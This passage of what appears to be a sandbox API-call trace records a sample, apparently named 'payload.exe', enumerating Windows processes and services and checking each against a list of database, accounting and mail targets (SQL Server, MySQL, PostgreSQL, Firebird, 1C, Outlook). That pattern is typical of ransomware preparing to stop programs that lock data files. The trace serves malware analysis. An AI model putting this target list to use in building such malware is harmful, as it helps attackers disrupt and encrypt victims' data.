[0105.836] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0105.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0105.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0105.837] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0105.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.837] lstrlenW (lpString="csrss.exe") returned 9 [0105.837] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0105.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0105.837] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0105.837] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0105.837] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0105.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0105.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.837] lstrlenW (lpString="winlogon.exe") returned 12 [0105.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.837] lstrlenW (lpString="services.exe") returned 12 [0105.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.838] lstrlenW (lpString="lsass.exe") returned 9 [0105.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0105.838] lstrlenW (lpString="lsm.exe") returned 7 [0105.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.838] lstrlenW (lpString="svchost.exe") returned 11 [0105.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.838] lstrlenW (lpString="svchost.exe") returned 11 [0105.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.839] lstrlenW (lpString="svchost.exe") returned 11 [0105.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.839] lstrlenW (lpString="svchost.exe") returned 11 [0105.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.839] lstrlenW (lpString="svchost.exe") returned 11 [0105.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.839] lstrlenW (lpString="audiodg.exe") returned 11 [0105.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.840] lstrlenW (lpString="svchost.exe") returned 11 [0105.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.840] lstrlenW (lpString="svchost.exe") returned 11 [0105.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0105.841] lstrlenW (lpString="userinit.exe") returned 12 [0105.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.841] lstrlenW (lpString="dwm.exe") returned 7 [0105.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.841] lstrlenW (lpString="explorer.exe") returned 12 [0105.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.841] lstrlenW (lpString="spoolsv.exe") returned 11 [0105.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.842] lstrlenW (lpString="taskhost.exe") returned 12 [0105.842] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.842] lstrlenW (lpString="svchost.exe") returned 11 [0105.842] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0105.842] lstrlenW (lpString="payload.exe") returned 11 [0105.842] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0105.842] lstrlenW (lpString="reader_sl.exe") returned 13 [0105.842] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.843] lstrlenW (lpString="taskhost.exe") returned 12 [0105.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.843] lstrlenW (lpString="dllhost.exe") returned 11 [0105.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0105.843] lstrlenW (lpString="consent.exe") returned 11 [0105.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0105.843] CloseHandle (hObject=0x38c) returned 1 [0105.843] Sleep (dwMilliseconds=0x1f4) [0106.833] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0106.833] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0106.834] GetLastError () returned 0xea [0106.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0106.834] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0106.834] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0106.834] lstrlenW (lpString="Appinfo") returned 7 [0106.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0106.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0106.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0106.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0106.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0106.834] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0106.835] lstrlenW (lpString="AudioSrv") returned 8 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0106.835] lstrlenW (lpString="BFE") returned 3 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0106.835] lstrlenW (lpString="CryptSvc") returned 8 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0106.835] lstrlenW (lpString="CscService") returned 10 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0106.835] lstrlenW (lpString="DcomLaunch") returned 10 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0106.835] lstrlenW (lpString="Dhcp") returned 4 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0106.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0106.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0106.835] lstrlenW (lpString="Dnscache") returned 8 [0106.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0106.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0106.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0106.836] lstrlenW (lpString="DPS") returned 3 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0106.836] lstrlenW (lpString="eventlog") returned 8 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0106.836] lstrlenW (lpString="EventSystem") returned 11 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0106.836] lstrlenW (lpString="gpsvc") returned 5 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0106.836] lstrlenW (lpString="iphlpsvc") returned 8 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0106.836] lstrlenW (lpString="LanmanServer") returned 12 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0106.836] lstrlenW (lpString="LanmanWorkstation") returned 17 [0106.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0106.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0106.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0106.836] lstrlenW (lpString="lmhosts") returned 7 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0106.837] lstrlenW (lpString="MMCSS") returned 5 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0106.837] lstrlenW (lpString="MpsSvc") returned 6 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0106.837] lstrlenW (lpString="Netman") returned 6 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0106.837] lstrlenW (lpString="netprofm") returned 8 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0106.837] lstrlenW (lpString="NlaSvc") returned 6 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0106.837] lstrlenW (lpString="nsi") returned 3 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0106.837] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0106.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0106.837] lstrlenW (lpString="PcaSvc") returned 6 [0106.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0106.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0106.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0106.838] lstrlenW (lpString="PlugPlay") returned 8 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0106.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0106.838] lstrlenW (lpString="Power") returned 5 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0106.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0106.838] lstrlenW (lpString="ProfSvc") returned 7 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0106.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0106.838] lstrlenW (lpString="RpcEptMapper") returned 12 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0106.838] lstrlenW (lpString="RpcSs") returned 5 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0106.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0106.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0106.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0106.838] lstrlenW (lpString="SamSs") returned 5 [0106.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0106.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0106.839] lstrlenW (lpString="Schedule") returned 8 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0106.839] lstrlenW (lpString="SENS") returned 4 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0106.839] lstrlenW (lpString="ShellHWDetection") returned 16 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0106.839] 